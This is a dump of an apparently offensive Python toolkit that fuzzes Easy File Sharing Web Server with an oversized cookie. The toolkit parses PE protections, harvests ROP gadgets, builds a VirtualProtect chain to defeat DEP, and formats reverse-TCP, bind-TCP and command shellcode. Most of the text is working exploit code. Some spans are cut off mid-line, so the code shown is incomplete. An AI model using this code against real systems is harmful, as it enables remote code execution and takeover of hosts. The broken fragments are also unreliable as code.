monitor_debugger(self): 128 | global Running 129 | global OFFSET 130 | 131 | with open(LAST_PICKLE_NAME, "rb") as local_file: 132 | OFFSET = cPickle.load(local_file) 133 | seh_offset = cPickle.load(local_file) 134 | seh = cPickle.load(local_file) 135 | nseh = cPickle.load(local_file) 136 | 137 | raw_input("[+] Please start the debugger...") 138 | while Running: 139 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 140 | s.connect((host, port)) 141 | buffer = "A" * 4300 142 | httpreq = ( 143 | "GET /changeuser.ghp HTTP/1.1\r\n" 144 | "User-Agent: Mozilla/4.0\r\n" 145 | "Host:" + host + ":" + str(port) + "\r\n" 146 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 147 | "Accept-Language: en-us\r\n" 148 | "Accept-Encoding: gzip, deflate\r\n" 149 | "Referer: http://" + host + "/\r\n" 150 | "Cookie: SESSIONID=6771; UserID=" + buffer + "; PassWD=;\r\n" 151 | "Conection: Keep-Alive\r\n\r\n" 152 | ) 153 | s.send(httpreq) 154 | s.close() 155 | Running = False 156 | 157 | ''' 158 | Try to start debugger and run it. 159 | ''' 160 | def start_debugger(self): 161 | try: 162 | self.dbg = pydbg() 163 | self.dbg.load(self.exe_path) 164 | self.pid = self.dbg.pid 165 | except pdx: 166 | print "[+] Can't open file, please check file path" 167 | sys.exit(1) 168 | except Exception as e: 169 | print "[+] Unknow error: ", str(e) 170 | sys.exit(1) 171 | 172 | self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, check_access_validation) 173 | self.dbg.run() 174 | 175 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 176 | Fuzzer(exe_path) -------------------------------------------------------------------------------- /SEH_Fuzzer/fuzzer.py: -------------------------------------------------------------------------------- 1 | from PE import * 2 | from util import * 3 | from Gadget import * 4 | import struct 5 | 6 | import sys 7 | import platform 8 | import os 9 | 10 | from pydbg import * 11 | from pydbg.defines import * 12 | 13 | import cPickle 14 | import random 15 | 16 | PICKLE_GADGET = "gadgets.pkl" 17 | ROPCHAIN = "ropchain.pkl" 18 | 19 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 20 | 21 | import threading 22 | import time 23 | 24 | win7After = True if platform.release() in ["6", "7", "8", "vista", "win7", "2008server", "win8", "win8.1", "win10"] else False 25 | 26 | # Get module list without system module. 27 | def getModuleList(dbg, exe_path): 28 | system_dlls = dbg.system_dlls 29 | file_prefix = "\\".join(exe_path.split("\\")[1:-1]) 30 | disk = exe_path[0:2] 31 | ModulesList = [exe_path] 32 | 33 | for dll in system_dlls: 34 | if file_prefix in dll.path: 35 | ModulesList.append(disk + dll.path) 36 | 37 | return ModulesList 38 | 39 | # Get gadget by no protect module, IAT and wriatable address. 40 | def getRopGadgetAndIATAndWriteAddress(dbg, ModulesList): 41 | # Get all usable gadgets. 42 | collect_gadgets = {} 43 | IAT = {} 44 | wriatableAddress = {} 45 | 46 | for module in ModulesList: 47 | pe = PE(module) 48 | image_top = pe.Base + pe.BaseSize 49 | if pe.Base>0: 50 | peOffset = struct.unpack("B", int(addr)), self.args["host"].split("."))) 91 | else: 92 | return None 93 | 94 | def getPort(self): 95 | if (self.args["type"] == "reverse_tcp") or (self.args["type"] == "bind_tcp"): 96 | return struct.pack(">H", self.args["port"]) 97 | else: 98 | return None 99 | 100 | def getCmd(self): 101 | if self.args["type"] == "win_cmd": 102 | return self.args["cmd"] 103 | else: 104 | return None 105 | 106 | def getShellCode(self): 107 | if self.args["type"] == "reverse_tcp": 108 | return REVERSE_TCP_FORMAT % (self.getHost(), self.getPort()) 109 | elif self.args["type"] == "bind_tcp": 110 | return BIND_TCP_FORMAT % (self.getPort()) 111 | elif self.args["type"] == "win_cmd": 112 | return WINCMD_FORMAT % (self.getCmd()) 113 | else: 114 | return None 115 | -------------------------------------------------------------------------------- /SEH_Fuzzer/PE.py: -------------------------------------------------------------------------------- 1 | import pefile 2 | from capstone import * 3 | 4 | ''' 5 | Windows PE file arch code. 6 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#machine_types 7 | ''' 8 | class ArchFlag: 9 | IMAGE_FILE_MACHINE_UNKNOWN = 0x0 10 | IMAGE_FILE_MACHINE_AMD64 = 0x8664 11 | IMAGE_FILE_MACHINE_I386 = 0x14c 12 | IMAGE_FILE_MACHINE_IA64 = 0x200 13 | 14 | ''' 15 | Get PE file characteristics. 16 | Can grad some characteristics of PE file. 17 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#characteristics 18 | ''' 19 | class FileHeaderCharacteristicsFlag: 20 | IMAGE_FILE_RELOCS_STRIPPED = 0x1 21 | IMAGE_FILE_32BIT_MACHINE = 0x100 22 | IMAGE_FILE_SYSTEM = 0x1000 23 | IMAGE_FILE_DLL = 0x2000 24 | 25 | ''' 26 | Get file bits. 27 | ''' 28 | class MagicFlag: 29 | PE32 = 0x10b # for 32bit 30 | PE32plus = 0x20b # for 64bit 31 | 32 | class PESecurityCheck: 33 | IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x0040 34 | IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x0100 35 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400 36 | IMAGE_DLLCHARACTERISTICS_GUARD_CF = 0x4000 37 | 38 | ''' 39 | Get DLL characteristics. 40 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#dll_characteristics 41 | ''' 42 | class DllCharacteristicsFlag: 43 | IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x40 44 | IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x100 45 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x400 46 | 47 | ''' 48 | Section Flag Definition. 49 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#section_flags 50 | ''' 51 | class SectionFlag: 52 | IMAGE_SCN_MEM_EXECUTE = 0x20000000 53 | IMAGE_SCN_MEM_READ = 0x40000000 54 | IMAGE_SCN_MEM_WRITE = 0x80000000 55 | 56 | IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 57 | 58 | ''' 59 | PE parse error exception, will add a message about error. 60 | ''' 61 | class PEError(Exception): 62 | def __init__(self, message="Parse PE file fail"): 63 | self.message = message 64 | 65 | def __str__(self): 66 | return repr(self.message) 67 | 68 | class PE(object): 69 | def __init__(self, exe_path): 70 | self.__name = exe_path 71 | self.__parser = None 72 | self.__format = "PE" 73 | try: 74 | self.__parser = pefile.PE(exe_path, fast_load=True) 75 | except: 76 | self.__parser = None 77 | raise PEError("[-] Open %s fail." % (self.Name)) 78 | 79 | self.Arch = self.__parser.FILE_HEADER.Machine 80 | self.__type = "dll" if self.__parser.FILE_HEADER.Characteristics & FileHeaderCharacteristicsFlag.IMAGE_FILE_DLL else "exe" 81 | 82 | if self.__type == "exe" and (self.__parser.FILE_HEADER.Characteristics & FileHeaderCharacteristicsFlag.IMAGE_FILE_RELOCS_STRIPPED): 83 | self.__rebase = False 84 | elif self.__type == "dll" and not (self.__parser.OPTIONAL_HEADER.DllCharacteristics & DllCharacteristicsFlag.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE): 85 | self.__rebase = False 86 | else: 87 | self.__rebase = True 88 | 89 | if self.__parser.OPTIONAL_HEADER.Magic & MagicFlag.PE32: 90 | self.__bits = 32 91 | self.__bitMode = CS_MODE_32 92 | elif self.__parser.OPTIONAL_HEADER.Magic & MagicFlag.PE32plus: 93 | self.__bits = 64 94 | self.__bitMode = CS_MODE_64 95 | 96 | self.__base = self.__parser.OPTIONAL_HEADER.ImageBase 97 | self.__basesize = self.__parser.OPTIONAL_HEADER.SizeOfImage 98 | 99 | # check protection 100 | self.__aslr = True if (self.__parser.OPTIONAL_HEADER.DllCharacteristics & PESecurityCheck.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) != 0 else False 101 | self.__nx = True if (self.__parser.OPTIONAL_HEADER.DllCharacteristics & PESecurityCheck.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) != 0 else False 102 | self.__cfg = True if (self.__parser.OPTIONAL_HEADER.DllCharacteristics & PESecurityCheck.IMAGE_DLLCHARACTERISTICS_GUARD_CF) != 0 else False 103 | 104 | if ( (self.__parser.OPTIONAL_HEADER.DllCharacteristics & PESecurityCheck.IMAGE_DLLCHARACTERISTICS_NO_SEH) != 0 ) and (self.__parser.OPTIONAL_HEADER.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress != 0) and (self.__parser.OPTIONAL_HEADER.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size != 0): 105 | self.__safeseh = True 106 | else: 107 | self.__safeseh = False 108 | 109 | self.__entryPoint = self.__parser.OPTIONAL_HEADER.ImageBase + self.__parser.OPTIONAL_HEADER.AddressOfEntryPoint 110 | 111 | self.__dataSections = None 112 | self.__execSections = None 113 | 114 | self.__getDataSections() 115 | self.__getExecSections() 116 | 117 | self.__IAT = {} 118 | self.__EAT = {} 119 | 120 | self.__parser.parse_data_directories() 121 | self.__getEAT() 122 | self.__getIAT() 123 | 124 | self.__parser.close() 125 | 126 | # Get writable data section. 127 | def __getDataSections(self): 128 | dataSections = [] 129 | for section in self.__parser.sections: 130 | if section.Characteristics & SectionFlag.IMAGE_SCN_MEM_WRITE: 131 | dataSections.append({ 132 | "name" : section.Name, 133 | "offset" : section.PointerToRawData, 134 | "size" : section.SizeOfRawData, 135 | "vaddr" : section.VirtualAddress + self.__parser.OPTIONAL_HEADER.ImageBase, 136 | "code" : str(section.get_data()) 137 | }) 138 | self.__dataSections = dataSections 139 | 140 | # Get executable section for ROP gadget. 141 | def __getExecSections(self): 142 | execSections = [] 143 | for section in self.__parser.sections: 144 | if section.Characteristics & SectionFlag.IMAGE_SCN_MEM_EXECUTE: 145 | execSections.append({ 146 | "name" : section.Name, 147 | "offset" : section.PointerToRawData, 148 | "size" : section.SizeOfRawData, 149 | "vaddr" : section.VirtualAddress + self.__parser.OPTIONAL_HEADER.ImageBase, 150 | "code" : bytes(section.get_data()) 151 | }) 152 | self.__execSections = execSections 153 | 154 | # Get EAT(Export Address Table). 155 | def __getEAT(self): 156 | try: 157 | for symbol in self.__parser.DIRECTORY_ENTRY_EXPORT.symbols: 158 | self.__EAT.update({symbol.name : self.__parser.OPTIONAL_HEADER.ImageBase + symbol.address}) 159 | # No Export symbols. 160 | except AttributeError: 161 | pass 162 | 163 | # Get IAT(Import address Table). 164 | def __getIAT(self): 165 | try: 166 | for entry in self.__parser.DIRECTORY_ENTRY_IMPORT: 167 | # print entry.dll 168 | for symbol in entry.imports: 169 | # print "[*] 0x%08x %s." % (symbol.address, symbol.name) 170 | self.__IAT.update({symbol.name : symbol.address}) 171 | # No Import symbols. 172 | except AttributeError: 173 | pass 174 | 175 | ''' 176 | Propertys of PE file. 177 | ''' 178 | 179 | @property 180 | def Arch(self): 181 | return self.__Arch 182 | 183 | @Arch.setter 184 | def Arch(self, flag): 185 | self.__Arch = { 186 | ArchFlag.IMAGE_FILE_MACHINE_UNKNOWN : "All", 187 | ArchFlag.IMAGE_FILE_MACHINE_AMD64 : "amd64", 188 | ArchFlag.IMAGE_FILE_MACHINE_I386 : "intel", 189 | ArchFlag.IMAGE_FILE_MACHINE_IA64 : "ia64" 190 | }.get(flag, "unknow") 191 | 192 | if self.__Arch == "unknow": 193 | raise PEError("[-] %s is not arch." % (self.Name)) 194 | 195 | self.__ArchMode = { 196 | ArchFlag.IMAGE_FILE_MACHINE_UNKNOWN : CS_ARCH_ALL, 197 | ArchFlag.IMAGE_FILE_MACHINE_AMD64 : CS_ARCH_X86, 198 | ArchFlag.IMAGE_FILE_MACHINE_I386 : CS_ARCH_X86, 199 | ArchFlag.IMAGE_FILE_MACHINE_IA64 : CS_ARCH_X86 200 | }.get(flag, None) 201 | 202 | if self.__ArchMode is None: 203 | raise PEError("[-] %s is not support." % (self.Name)) 204 | 205 | @property 206 | def ArchMode(self): 207 | return self.__ArchMode 208 | 209 | @property 210 | def ASLR(self): 211 | return self.__aslr 212 | 213 | @property 214 | def Base(self): 215 | return self.__base 216 | 217 | @property 218 | def BaseSize(self): 219 | return self.__basesize 220 | 221 | @property 222 | def Bits(self): 223 | return self.__bits 224 | 225 | @property 226 | def BitsMode(self): 227 | return self.__bitMode 228 | 229 | @property 230 | def CFG(self): 231 | return self.__cfg 232 | 233 | @property 234 | def DataSections(self): 235 | return self.__dataSections 236 | 237 | @property 238 | def EAT(self): 239 | return self.__EAT 240 | 241 | @property 242 | def ExecSections(self): 243 | return self.__execSections 244 | 245 | @property 246 | def EntryPoint(self): 247 | return self.__entryPoint 248 | 249 | @property 250 | def Format(self): 251 | return self.__format 252 | 253 | @property 254 | def IAT(self): 255 | return self.__IAT 256 | 257 | @property 258 | def Name(self): 259 | return self.__name 260 | 261 | @property 262 | def NX(self): 263 | return self.__nx 264 | 265 | @property 266 | def Rebase(self): 267 | return self.__rebase 268 | 269 | @property 270 | def SafeSEH(self): 271 | return self.__safeseh 272 | 273 | @property 274 | def Type(self): 275 | return self.__type 276 | -------------------------------------------------------------------------------- /SEH_Fuzzer/util.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import string 3 | import os 4 | import math 5 | import random 6 | 7 | def p32(data): 8 | return struct.pack("size: 12 | return None 13 | value = 0 14 | for c in word[::-1]: 15 | value = value*16*16 + ord(c) 16 | return value 17 | 18 | def pattern_create(max_length=5000, append=False): 19 | charset1 = string.ascii_uppercase 20 | charset2 = string.ascii_lowercase 21 | charset3 = string.digits 22 | if append: 23 | charset3 += ",.;+=-_!&()#@({})[]%" 24 | pattern = [] 25 | 26 | while len(pattern)=len(gadgets[gadget_type][vaddr]): 70 | shortest_gadget = (vaddr, gadgets[gadget_type][vaddr]) 71 | return shortest_gadget 72 | 73 | def neg(word): 74 | return 0x100000000 - word 75 | 76 | def getPickupChain(collection, target_register, fptr): 77 | pickup_chain = [] 78 | REGISTER = ["eax", "ebx", "ecx", "edx", "esi", "edi", "ebp"] 79 | # Check whether can do function call. 80 | if fptr is None or fptr == 0: 81 | return pickup_chain 82 | 83 | pickups = [ types for types in collection.keys() if types.startswith("pickup")] 84 | 85 | ''' 86 | pop source_register ; ret 87 | fptr 88 | mov target_register, dword ptr [source_register] ; ret 89 | ''' 90 | for types in pickups: 91 | if types.startswith("pickup" + target_register): 92 | pickup_gadget = searchGadget(collection, types, "mov") 93 | source_register = types[-3:] 94 | pop_gadget = searchGadget(collection, "pop", "pop " + source_register) 95 | if (pickup_gadget is not None) and (pop_gadget is not None): 96 | pickup_chain.append((pop_gadget[0], pop_gadget[1])) 97 | pickup_chain.append((fptr, "ptr to VirtualProtect")) 98 | pickup_chain.append((pickup_gadget[0], pickup_gadget[1])) 99 | return pickup_chain 100 | 101 | ''' 102 | pop temp_register ; ret 103 | fptr 104 | mov source_register, dword ptr [temp_register] ; ret 105 | mov target_register, source_register ; ret 106 | ''' 107 | for source_register in REGISTER: 108 | for types in pickups: 109 | if types.startswith("pickup" + source_register): 110 | temp_register = types[-3:] 111 | pop_temp_gadget = searchGadget(collection, "pop", "pop " + temp_register) 112 | pickup_gadget = searchGadget(collection, types, "mov") 113 | mov_gadget = searchGadget(collection, "mov"+target_register+source_register, "xchg") or searchGadget(collection, "mov"+target_register+source_register, "mov") 114 | if (pop_temp_gadget is not None) and (pickup_gadget is not None) and (mov_gadget is not None): 115 | pickup_chain.append((pop_temp_gadget[0], pop_temp_gadget[1])) 116 | pickup_chain.append((fptr, "ptr to VirtualProtect")) 117 | pickup_chain.append((pickup_gadget[0], pickup_gadget[1])) 118 | pickup_chain.append((mov_gadget[0], mov_gadget[1])) 119 | return pickup_chain 120 | 121 | ''' 122 | pop temp1_register ; ret 123 | fptr 124 | mov temp2_register, dword ptr [temp1_register] ; ret 125 | mov temp3_register, temp2_register ; ret 126 | xor target_register, target_register ; ret 127 | add target_register, temp3_register ; ret 128 | ''' 129 | for add_addr, add_text in collection["add"].items(): 130 | if add_text.startswith("add " + target_register): 131 | pattern = add_text.split(" ; ")[0] 132 | temp3_register = pattern[-3:] 133 | add_gadget = searchGadget(collection, "add", "add " + target_register + ", " + temp3_register) 134 | xor_gadget = searchGadget(collection, "clear", "xor " + target_register) 135 | if (add_gadget is not None) and (xor_gadget is not None): 136 | for mov_type in collection.keys(): 137 | if (mov_type.startswith("mov"+temp3_register)): 138 | temp2_register = mov_type[-3:] 139 | mov_gadget = searchGadget(collection, mov_type, "xchg") or searchGadget(collection, mov_type, "mov") 140 | if mov_gadget is not None: 141 | for pickup_type in pickups: 142 | if pickup_type.startswith("pickup"+temp2_register): 143 | temp1_register = pickup_type[-3:] 144 | pickup_gadget = searchGadget(collection, pickup_type, "mov") 145 | pop_gadget = searchGadget(collection, "pop", "pop " + temp1_register) 146 | if (pickup_gadget is not None) and (pop_gadget is not None): 147 | pickup_chain.append((pop_gadget[0], pop_gadget[1])) 148 | pickup_chain.append((fptr, "ptr to VirtualProtect")) 149 | pickup_chain.append((pickup_gadget[0], pickup_gadget[1])) 150 | pickup_chain.append((mov_gadget[0], mov_gadget[1])) 151 | pickup_chain.append((xor_gadget[0], xor_gadget[1])) 152 | pickup_chain.append((add_gadget[0], add_gadget[1])) 153 | return pickup_chain 154 | 155 | return pickup_chain 156 | 157 | ''' 158 | +-------------------------+ 159 | | virtualprotect strategy | 160 | +-------------------------+ 161 | pushad 162 | +-----+--------------------------+--------------------------+ 163 | | Reg | method1 | method2 | 164 | +-----+--------------------------+--------------------------+ 165 | | edi | ptr to ret | ptr to ret | 166 | +-----+--------------------------+--------------------------+ 167 | | esi | ptr to &virtualprotect() | ptr to jmp [eax] | 168 | +-----+--------------------------+--------------------------+ 169 | | ebp | ptr to jmp esp | pop 4 bytes | 170 | +-----+--------------------------+--------------------------+ 171 | | esp | arg1 | arg1 | 172 | +-----+--------------------------+--------------------------+ 173 | | ebx | arg2 | arg2 | 174 | +-----+--------------------------+--------------------------+ 175 | | edx | arg3 | arg3 | 176 | +-----+--------------------------+--------------------------+ 177 | | ecx | arg4 | arg4 | 178 | +-----+--------------------------+--------------------------+ 179 | | eax | nop * 4 | ptr to &virtualprotect() | 180 | +-----+--------------------------+--------------------------+ 181 | ''' 182 | # Generate a rop chain to bypass DEP. 183 | def generate_ropchain(collection, IATs, wAddrs): 184 | virtualprotect = [ ("esi", "func"), ("ebp", "jmp"), ("ebx", "size"), ("edx", "rwx"), 185 | ("ecx", "waddr"), ("edi", "nop"), ("eax", "nopcode"), ("all", "pushad") ] 186 | rop_chain = [] 187 | Found_Gadget = True 188 | Need_Fix = None 189 | for step in virtualprotect: 190 | register, purpose = step 191 | 192 | if purpose == "func": 193 | virtualprotectPtr = searchFuncByIAT(IATs, "VirtualProtect") 194 | pickup_chain = getPickupChain(collection, register, virtualprotectPtr) 195 | if len(pickup_chain)>0: 196 | rop_chain.extend(pickup_chain) 197 | 198 | else: 199 | Found_Gadget = False 200 | elif purpose == "jmp": 201 | gadget = searchGadget(collection, "pop", "pop " + register) 202 | addr = searchGadget(collection, "jmpesp", "jmp esp") 203 | if addr is None: 204 | addr = searchGadget(collection, "jmpesp", "push esp ; ret") 205 | if addr is None: 206 | Found_Gadget = False 207 | else: 208 | addr = addr[0] 209 | else: 210 | addr = addr[0] 211 | 212 | if gadget is not None and Found_Gadget: 213 | print "0x%08x: %s" % (gadget[0], gadget[1]) 214 | print "%s: 0x%08x" % ("ptr to jmp esp", addr) 215 | rop_chain.append((gadget[0], gadget[1])) 216 | rop_chain.append((addr, "ptr to jmp esp")) 217 | else: 218 | Found_Gadget = False 219 | 220 | 221 | elif purpose == "size": 222 | gadget = searchGadget(collection, "pop", "pop "+register) 223 | neg_gadget = searchGadget(collection, "neg", "neg "+register) 224 | if (gadget is None) or (neg_gadget is None): 225 | gadget = searchGadget(collection, "pop", "pop eax") 226 | neg_gadget = searchGadget(collection, "neg", "neg eax") 227 | # Since ebx will be zero(need check). 228 | mov_gadget = searchGadget(collection, "add", "add "+register+", eax") 229 | if (gadget is None) or (neg_gadget is None) or (mov_gadget is None): 230 | Found_Gadget = False 231 | else: 232 | rop_chain.append((gadget[0], gadget[1])) 233 | rop_chain.append((neg(0x201), "-0x201")) 234 | rop_chain.append((neg_gadget[0], neg_gadget[1])) 235 | rop_chain.append((mov_gadget[0], mov_gadget[1])) 236 | # Fix side effect (mov eax, [esp + 0xc]) 237 | check_fix_list = mov_gadget[1].split(" ; ") 238 | for pattern in check_fix_list: 239 | if pattern.startswith("mov eax, dword ptr [esp +"): 240 | pattern = pattern.split("+")[-1] 241 | pattern = pattern.replace("]", "") 242 | try: 243 | Need_Fix = int(pattern) 244 | except ValueError: 245 | try: 246 | Need_Fix = int(pattern, base=16) 247 | except: 248 | Need_Fix = None 249 | except: 250 | Need_Fix = None 251 | if Need_Fix is not None: 252 | Need_Fix = len(rop_chain) -1 + int(math.ceil(Need_Fix/4)) 253 | 254 | else: 255 | rop_chain.append((gadget[0], gadget[1])) 256 | rop_chain.append((neg(0x201), "dwsize")) 257 | rop_chain.append((neg_gadget[0], neg_gadget[1])) 258 | 259 | elif purpose == "rwx": 260 | gadget = searchGadget(collection, "pop", "pop " + register) 261 | neg_gadget = searchGadget(collection, "neg", "neg " + register) 262 | if (gadget is None) or (neg_gadget is None): 263 | gadget = searchGadget(collection, "clear", "xor " + register + ", " + register) 264 | inc_gadget = searchGadget(collection, "inc", "inc " + register) 265 | if (gadget is None) or (inc_gadget is None): 266 | Found_Gadget = False 267 | else: 268 | rop_chain.append((gadget[0], gadget[1])) 269 | for i in xrange(0x40): 270 | rop_chain.append((inc_gadget[0], inc_gadget[1])) 271 | 272 | else: 273 | rop_chain.append((gadget[0], gadget[1])) 274 | rop_chain.append((neg(0x40), "-0x40")) 275 | rop_chain.append((neg_gadget[0], neg_gadget[1])) 276 | 277 | elif purpose == "waddr": 278 | gadget = searchGadget(collection, "pop", "pop " + register) 279 | addr = searchWritableAddress(wAddrs) 280 | if (addr is None) or (gadget is None): 281 | Found_Gadget = False 282 | else: 283 | rop_chain.append((gadget[0], gadget[1])) 284 | rop_chain.append((addr, "writable address")) 285 | 286 | elif purpose == "nop": 287 | gadget = searchGadget(collection, "pop", "pop " + register) 288 | nop_gadget = searchGadget(collection, "nop", "ret") or searchGadget(collection, "nop", "nop") 289 | if (gadget is None) or (nop_gadget is None): 290 | Found_Gadget = False 291 | else: 292 | rop_chain.append((gadget[0], gadget[1])) 293 | rop_chain.append((nop_gadget[0], "ptr to [nop] ret")) 294 | 295 | elif purpose == "nopcode": 296 | gadget = searchGadget(collection, "pop", "pop " + register) 297 | if gadget is None: 298 | Found_Gadget = False 299 | else: 300 | rop_chain.append((gadget[0], gadget[1])) 301 | rop_chain.append((0x90909090, "nop code")) 302 | 303 | elif purpose == "pushad": 304 | gadget = searchGadget(collection, "pushad", "pushal") or searchGadget(collection, "pushad", "pushad") 305 | if gadget is None: 306 | Found_Gadget = False 307 | else: 308 | rop_chain.append((gadget[0], gadget[1])) 309 | 310 | if (Need_Fix is not None) and len(rop_chain)>=Need_Fix: 311 | gadget = searchGadget(collection, "addnum", "add esp, 4 ; ret") 312 | addr = searchWritableAddress(wAddrs) 313 | if (gadget is None) or (addr is None): 314 | Found_Gadget = False 315 | else: 316 | rop_chain.insert(Need_Fix, (gadget[0], gadget[1])) 317 | rop_chain.insert(Need_Fix+1, (addr, "gargabe")) 318 | Need_Fix = None 319 | 320 | if not Found_Gadget: 321 | break 322 | 323 | return rop_chain -------------------------------------------------------------------------------- /SEH_Fuzzer/Gadget.py: -------------------------------------------------------------------------------- 1 | from PE import * 2 | from util import * 3 | import sys 4 | from capstone import * 5 | import re 6 | 7 | MAX_DEPTH = 10 8 | PATTERN = 0 9 | PATTERN_SIZE = 1 10 | CODE_SIZE = 2 11 | OPCODE = 3 12 | 13 | RetGadgetFormat = [ 14 | [b"\xc3", 1, 1, "ret"], # ret(near) 15 | [b"\xcb", 1, 1, "ret"], # ret(far) 16 | [b"\xc2[\x00-\xff]{2}", 3, 1, "ret"], # ret imm16(near) 17 | [b"\xca[\x00-\xff]{2}", 3, 1, "ret"], # ret imm16(far) 18 | ] 19 | 20 | SysGadgetFormat = [ 21 | [b"\x0f\x05", 2, 1, "syscall"], # syscall 22 | [b"\xcd\x80", 2, 1, "int 0x80"] # int 0x80 23 | ] 24 | 25 | JmpGadgetFormat = [ 26 | [b"\xff[\x20\x21\x22\x23\x26\x27]{1}", 2, 1, "jmp e"], # jmp [register] 27 | [b"\xff[\xe0\xe1\xe2\xe3\xe4\xe6\xe7]{1}", 2, 1, "jmp e"], # jmp [register] 28 | [b"\xff[\x10\x11\x12\x13\x16\x17]{1}", 2, 1, "jmp e"], # jmp [register] 29 | [b"\xff[\xd0\xd1\xd2\xd3\xd4\xd6\xd7]{1}", 2, 1, "call e"], # call [register] 30 | ] 31 | 32 | ''' 33 | filiter gadget whether contain newline or nullbyte 34 | ''' 35 | def gadget_filter(gadget): 36 | return False if ("\x0a" in p32(gadget)) or ( "\x00" in p32(gadget)) else True 37 | 38 | class Gadget(dict): 39 | def __init__(self, pe): 40 | self.__pe = pe 41 | self.__disassembler = Cs(pe.ArchMode, pe.BitsMode) 42 | self.__execSections = self.__pe.ExecSections 43 | self.__dataSections = self.__pe.DataSections 44 | 45 | self.__retGadgets = self.collect_gadgets(RetGadgetFormat) 46 | self.__sysGadgets = self.collect_gadgets(SysGadgetFormat) 47 | self.__jmpGadgets = self.findJmp(JmpGadgetFormat) 48 | 49 | def findJmp(self, GadgetFormat): 50 | Gadgets = [] 51 | for section in self.__execSections: 52 | code = section["code"] 53 | for targetGadget in GadgetFormat: 54 | retPostions = [ pos.start() for pos in re.finditer(targetGadget[PATTERN], code) ] 55 | for position in retPostions: 56 | start = section["vaddr"] + position 57 | pattern = self.__disassembler.disasm( code[ position:position+targetGadget[PATTERN_SIZE] ], 0 ) 58 | gadget = "" 59 | 60 | for instruction in pattern: 61 | gadget += (instruction.mnemonic + " " + instruction.op_str + " ; ").replace(" ", " ") 62 | 63 | if len(gadget)>0 and gadget.startswith(targetGadget[OPCODE]) and gadget_filter(start): 64 | gadget = gadget[:-3] 65 | 66 | Gadgets += [ 67 | { 68 | "vaddr" : start, 69 | "gadgets" : gadget, 70 | "bytes" : code[ position : position + targetGadget[PATTERN_SIZE]] 71 | } 72 | ] 73 | 74 | return Gadgets 75 | 76 | def collect_gadgets(self, GadgetFormat): 77 | Gadgets = [] 78 | for section in self.__execSections: 79 | code = section["code"] 80 | for targetGadget in GadgetFormat: 81 | retPostions = [ pos.start() for pos in re.finditer(targetGadget[PATTERN], code) ] 82 | for position in retPostions: 83 | for deep in xrange(MAX_DEPTH+1): 84 | start = section["vaddr"] + position - deep * targetGadget[CODE_SIZE] 85 | 86 | if (start % targetGadget[CODE_SIZE] == 0) and gadget_filter(start): 87 | pattern = self.__disassembler.disasm( code[ position - deep * targetGadget[CODE_SIZE] : position + targetGadget[PATTERN_SIZE] ], 0 ) 88 | gadget = "" 89 | 90 | for instruction in pattern: 91 | gadget += (instruction.mnemonic + " " + instruction.op_str + " ; ").replace(" ", " ") 92 | 93 | if len(gadget)>0 and gadget.split(" ; ")[-2].find(targetGadget[OPCODE])!=-1 and gadget.find("leave")==-1 and gadget.count("ret")==1 and gadget.find("ret 0x")==-1 and gadget.find("ret -")==-1 and gadget.find("retf 0x")==-1 and gadget.find("retf -")==-1 and gadget.find("ret 1") == -1 and gadget.find("retf 1") == -1 and gadget.find("ret 2") == -1 and gadget.find("retf 2") == -1 and gadget.find("ret 3") == -1 and gadget.find("retf 3") == -1 and gadget.find("ret 4") == -1 and gadget.find("retf 4") == -1: 94 | gadget = gadget[:-3] 95 | 96 | Gadgets += [ 97 | { 98 | "vaddr" : start, 99 | "gadgets" : gadget, 100 | "bytes" : code[ position - deep * targetGadget[CODE_SIZE] : position + targetGadget[PATTERN_SIZE] ] 101 | } 102 | ] 103 | return Gadgets 104 | 105 | @property 106 | def jmpGadgets(self): 107 | return self.__jmpGadgets 108 | 109 | @property 110 | def retGadgets(self): 111 | return self.__retGadgets 112 | 113 | @property 114 | def sysGadgets(self): 115 | return self.__sysGadgets 116 | 117 | NUM_FORMAT = "(0x[\da-f]+)|(\d+)" 118 | 119 | # Check gadget's instruction. 120 | def check_gadget_pass(gadgets, allow, not_allow): 121 | patterns = gadgets.split(" ; ") 122 | statu = True 123 | counter = 0 124 | 125 | while counter